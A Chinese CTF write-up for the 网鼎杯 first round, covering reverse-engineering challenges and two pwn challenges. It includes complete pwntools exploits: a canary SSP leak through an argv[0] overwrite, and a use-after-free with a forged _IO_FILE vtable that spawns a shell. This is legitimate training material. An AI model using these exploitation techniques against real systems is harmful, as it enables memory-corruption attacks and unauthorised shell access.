网鼎杯第一场_Re&&部分Pwn

自己是第四场,先做做其他场的题目

0x01 Beijing

签到题目
看到输出是

1
sub_8048460(dword_804A03C)

即一个函数处理一个数组
且函数内部主要是switch返回预先定义的数组前后byte异或:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
switch ( a1 )
{
case 0:
v2 = byte_804A021 ^ byte_804A020;
break;
case 1:
v2 = byte_804A023 ^ byte_804A022;
break;
case 2:
v2 = byte_804A025 ^ byte_804A024;
break;
case 13:
v2 = byte_804A03B ^ byte_804A03A;
break;
default:
v2 = 0;
break;
}
return v2;
......
......

动态调试看到进入switch后前四次的异或的第二个字节分别为”f”、”l”,”a”,”g”,猜测每组异或前一个是干扰项,将byte_804A021、 byte_804A023、byte_804A025……改为0,patch好程序后,再次运行即得flag:

1
flag{amazing_beijing}

0x02 blend

首先这类似之前的一道题目(改了一些数据):

1
https://github.com/TechSecCTF/writeups/blob/master/CSAWQuals2017/realism/README.md

跟着再学习一下:
安装qemu:

1
sudo apt-get install qemu

首先运行程序:

1
qemu-system-i386 -drive format=raw,file=main.bin

qemu
拖进IDA,16-bit mode下打开:
看到flag-checking bit:

1
2
3
4
5
6
7
8
seg000:0066                 cmp     byte ptr ds:7DC8h, 13h
seg000:006B jle loc_10D
seg000:006F cmp dword ptr ds:1234h, 67616C66h
seg000:0078 jnz loc_14D
seg000:007C movaps xmm0, xmmword ptr ds:1238h
seg000:0081 movaps xmm5, xmmword ptr ds:7C00h
seg000:0086 pshufd xmm0, xmm0, 1Eh
seg000:008B mov si, 8

其比较我们的输入(0x1234h)和67616C66h(“flag”)
调试一下:

1
qemu-system-i386 -drive  format=raw,file=./main.bin  -s

gdb下:

1
2
3
4
gdb -ex 'target remote localhost:1234' \
-ex 'set architecture i8086' \
-ex 'break *0x7c6f' \
-ex 'continue'

(mbr的加载起始地址为0x7c00)
可以看到:

1
2
3
4
5
6
7
8
9
10
11
p $xmm0
$3 = {
v4_float = {4.17598837e+21, 1.08801462e+24, 2.83386409e+26, 1.98077759e+37},
v2_double = {1.2473230926066787e+190, 1.5546445437344775e+296},
v16_int8 = {0x7b, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69,
0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x7d},
v8_int16 = {0x617b, 0x6362, 0x6564, 0x6766, 0x6968, 0x6b6a, 0x6d6c, 0x7d6e},
v4_int32 = {0x6362617b, 0x67666564, 0x6b6a6968, 0x7d6e6d6c},
v2_int64 = {0x676665646362617b, 0x7d6e6d6c6b6a6968},
uint128 = 0x7d6e6d6c6b6a6968676665646362617b
}

1
2
3
4
5
6
7
8
9
10
11
p $xmm5
$4 = {
v4_float = {-134298496, -2.50091934, -1.48039995e-36, 1.93815862e-18},
v2_double = {-8.0294250547975565, 1.241726856953559e-144},
v16_int8 = {0xb8, 0x13, 0x0, 0xcd, 0x10, 0xf, 0x20, 0xc0, 0x83, 0xe0, 0xfb,
0x83, 0xc8, 0x2, 0xf, 0x22},
v8_int16 = {0x13b8, 0xcd00, 0xf10, 0xc020, 0xe083, 0x83fb, 0x2c8, 0x220f},
v4_int32 = {0xcd0013b8, 0xc0200f10, 0x83fbe083, 0x220f02c8},
v2_int64 = {0xc0200f10cd0013b8, 0x220f02c883fbe083},
uint128 = 0x220f02c883fbe083c0200f10cd0013b8
}

其实就是这里:

1
2
seg000:007C                 movaps  xmm0, xmmword ptr ds:1238h
seg000:0081 movaps xmm5, xmmword ptr ds:7C00h

xmm0保存我们输入flag后面的字符
xmm5保存mbr开始的字符
可以调试后
剩下分析的便和开始提到的题相同:
解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import binascii
import struct

# Initial value of xmm5
xmm5_start = binascii.unhexlify('220f02c883fbe083c0200f10cd0013b8')

# The data stored at 0x7DA8 and compared against esi
esi_consts = [
'F602DD02',
'E802DC02',
'ED02D802',
'E202CE02',
'E202C402',
'DB02D402',
'CD02D902',
'04031103'
]
esi_consts = [struct.unpack('<I', binascii.unhexlify(c))[0] for c in esi_consts]
esi_consts = esi_consts[::-1]

# Our 16 variables ('a' through 'p')
variables = [chr(ord('a') + i) for i in range(16)]

def esi_to_xmm5(esi):
s1 = esi % (1 << 0x10)
s2 = (esi - s1) >> (0x10)
w = struct.pack('>Q', s1) + struct.pack('>Q', s2)
return w

def print_constraints():
for i in range(8):
prev_esi = esi_consts[i-1]
xmm5 = esi_to_xmm5(prev_esi)
if i == 0:
xmm5 = xmm5_start

esi = esi_consts[i]
s1 = esi % (1 << 0x10)
s2 = (esi - s1) >> (0x10)

# sum of absolute differences between xmm5 and our flag
s = ''
for j in range(8):
if j == 7-i:
# This is the masking step
s += 'abs(0-' + str(ord(xmm5[j])) + ') + '
continue
s += 'abs(' + variables[j] + '-' + str(ord(xmm5[j])) + ') + '
s += '0 == {}, '.format(s1)
print(s)

s = ''
for j in range(8,16):
if j-8 == 7-i:
# This is the masking step
s += 'abs(0-' + str(ord(xmm5[j])) + ') + '
continue
s += 'abs(' + variables[j] + '-' + str(ord(xmm5[j])) + ') + '
s += '0 == {}, '.format(s2)
print(s)

if __name__ == '__main__':
print_constraints()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import sys
sys.path.append('z3/build/')
from z3 import *

def abs(x):
return If(x >= 0,x,-x)

s = Solver()

a = Int('a')
b = Int('b')
c = Int('c')
d = Int('d')
e = Int('e')
f = Int('f')
g = Int('g')
h = Int('h')
i = Int('i')
j = Int('j')
k = Int('k')
l = Int('l')
m = Int('m')
n = Int('n')
o = Int('o')
p = Int('p')

s.add(a >= 32)
s.add(b >= 32)
s.add(c >= 32)
s.add(d >= 32)
s.add(e >= 32)
s.add(f >= 32)
s.add(g >= 32)
s.add(h >= 32)
s.add(i >= 32)
s.add(j >= 32)
s.add(k >= 32)
s.add(l >= 32)
s.add(m >= 32)
s.add(n >= 32)
s.add(o >= 32)
s.add(p >= 32)

s.add(127 > a)
s.add(127 > b)
s.add(127 > c)
s.add(127 > d)
s.add(127 > e)
s.add(127 > f)
s.add(127 > g)
s.add(127 > h)
s.add(127 > i)
s.add(127 > j)
s.add(127 > k)
s.add(127 > l)
s.add(127 > m)
s.add(127 > n)
s.add(127 > o)
s.add(127 > p)

s.add(abs(a-34) + abs(b-15) + abs(c-2) + abs(d-200) + abs(e-131) + abs(f-251) + abs(g-224) + abs(0-131) + 0 == 772)
s.add(abs(i-192) + abs(j-32) + abs(k-15) + abs(l-16) + abs(m-205) + abs(n-0) + abs(o-19) + abs(0-184) + 0 == 785)
s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(0-3) + abs(h-4) + 0 == 717)
s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(0-3) + abs(p-17) + 0 == 729)
s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(0-0) + abs(g-2) + abs(h-205) + 0 == 731)
s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(0-0) + abs(o-2) + abs(p-217) + 0 == 724)
s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(0-0) + abs(f-0) + abs(g-2) + abs(h-219) + 0 == 738)
s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(0-0) + abs(n-0) + abs(o-2) + abs(p-212) + 0 == 708)
s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(0-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-226) + 0 == 738)
s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(0-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-196) + 0 == 718)
s.add(abs(a-0) + abs(b-0) + abs(0-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-226) + 0 == 749)
s.add(abs(i-0) + abs(j-0) + abs(0-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-206) + 0 == 728)
s.add(abs(a-0) + abs(0-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-237) + 0 == 744)
s.add(abs(i-0) + abs(0-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-216) + 0 == 732)
s.add(abs(0-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-232) + 0 == 758)
s.add(abs(0-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-220) + 0 == 733)
print(s.check())
mod = s.model()

chars = [
mod[a],
mod[b],
mod[c],
mod[d],
mod[e],
mod[f],
mod[g],
mod[h],
mod[i],
mod[j],
mod[k],
mod[l],
mod[m],
mod[n],
mod[o],
mod[p]
]


print(chars)
flag = ''.join([chr(int(str(w))) for w in chars])
flag = flag[::-1]
print('flag' +flag[12:] + flag[8:12] + flag[0:4] + flag[4:8])

flag

0x03 advanced

非预期
运行一下:

1
welcome, here is your identification, please keep it in your pocket: 4b404c4b5648725b445845734c735949405c414d5949725c45495a51

直接拖IDA分析时候比较乱,看不出啥
不过观察pocket:
发现hex解码后xor “-,”(即按位异或0x45,0x44)即得flag:

1
2
3
4
5
6
7
8
key="4b404c4b5648725b445845734c735949405c414d5949725c45495a51".decode("hex")
key2="-,"
flag=""
j=0
for i in key:
flag+=chr(ord(i)^ord(key2[j%2]))
j+=1
print flag

1
flag{d_with_a_template_phew}

0x04 guess

main处:

1
.text:0000000000400A86                 call    sub_4009A6

sub_4009A6中反调试call alarm
首先nop掉
看一下保护

看到程序开启了canary保护
看到main中程序调用方式以及gets漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
......
......
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
v5 = sub_400A11();
if ( !v5 )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
......
......

1
2
puts("Please type your guessing flag");
gets((__int64)&s2);

想到之前看的一篇文章:

1
https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/

就是通过故意触发canary保护来ssp leak
因为触发canary之后会输出stack smashing detected:+argv[0]
如果我们覆盖argv[0],便会输出特定字符串
首先明确flag被main读入到栈中
我们需要获取栈地址
程序允许三次读入:

1
2
3
1->覆盖argv[0]为got表地址leak libc
2->利用environ来leak stack_addr
3->利用栈地址打到flag

首先计算需要覆盖的距离:

1
2
3
4
5
gdb-peda$ p & __libc_argv[0]
$8 = (char **) 0x7fffffffdcc8
gdb-peda$ p $rbp-0x40
$13 = (void *) 0x7fffffffdba0
0x7fffffffdcc8-0x7fffffffdba0=0x128

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

elf=ELF("./guess")
elib=ELF("/lib/x86_64-linux-gnu/libc.so.6")
environ_off= elib.symbols['environ']
puts_off=elib.symbols["puts"]
puts_got_addr=elf.got["puts"]
p=process("./guess")
p.recvuntil("flag")
p.sendline("A"*0x128 + p64(puts_got_addr))
print p.recvuntil(": ")
puts_addr=u64(p.recv(6).ljust(8,"\x00"))
environ_addr=environ_off-puts_off+puts_addr
p.recvuntil("flag")
p.sendline("A"*0x128 + p64(environ_addr))
p.recvuntil(": ")
stack_addr=u64(p.recv(6).ljust(8,"\x00"))
p.recvuntil("flag")
p.sendline("A"*0x128 + p64(stack_addr-0x168))
p.recvuntil(": ")
p.interactive()

0x05 blind

首先看到new:

1
2
3
4
5
6
7
if ( v1 <= 5 && !ptr[v1] )
{
ptr[v1] = malloc(0x68uLL);
printf("Content:", &s);
read_note((__int64)ptr[v1], 0x68u);
puts("Done!");
}

我们建立的数据保存在堆中
并由全局变量数组ptr保存
同时在release中可以看到:

1
2
3
4
5
6
if ( v1 <= 5 && ptr[v1] && release_time <= 2 )
{
free(ptr[v1]);
++release_time;
puts("Done!");
}

free后没有置空指针,存在UAF
我们可以利用uaf来change被free过的chunk,构造fd来使堆块分配到bss段,同时ptr也在bss段,我们可以覆盖掉ptr数组中的指针,而后利用change进行任意地址写入
程序中存在后门:

1
2
3
4
5
6
7
8
9
10
11
.text:00000000004008E3
.text:00000000004008E3 sub_4008E3 proc near
.text:00000000004008E3 ; __unwind {
.text:00000000004008E3 push rbp
.text:00000000004008E4 mov rbp, rsp
.text:00000000004008E7 mov edi, offset command ; "/bin/sh"
.text:00000000004008EC call system
.text:00000000004008F1 nop
.text:00000000004008F2 pop rbp
.text:00000000004008F3 retn
.text:00000000004008F3 ; } // starts at 4008E3

这里我们可以覆盖掉stdout的指针指向我们在bss段中构造的_IO_FILE结构,并将_IO_FILE_plus中的*vtable指向我们伪造的vtable(shell_addr)实现劫持程序流,从而调取shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

#context.log_level = 'debug'
def new(index,content):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.sendline(content)

def change(index,content):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(content)

def release(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))

p = process('./blind')
shell_addr=0x4008E3
new(0,'1111')
new(1,'2222')
release(0)
change(0,p64(0x60203d) + '\n')
new(2,'aaaa')
payload='aaa' + 'a'*0x10+p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68)+p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
new(3,payload)
IO_payload=p64(0x00000000fbad8000)+p64(0x602500)*7+p64(0x602501)+p64(0)*9+p64(0x602600)+p64(0)*8+p64(0x602090+0x68*3)
vtable_payload=p64(shell_addr)*13
change(1,IO_payload[0:0x68])
change(2,IO_payload[0x68:0xd0])
change(3,IO_payload[0xd0:]+'\n')
change(4,vtable_payload)
change(0,p64(0x602090)+'\n')
p.interactive()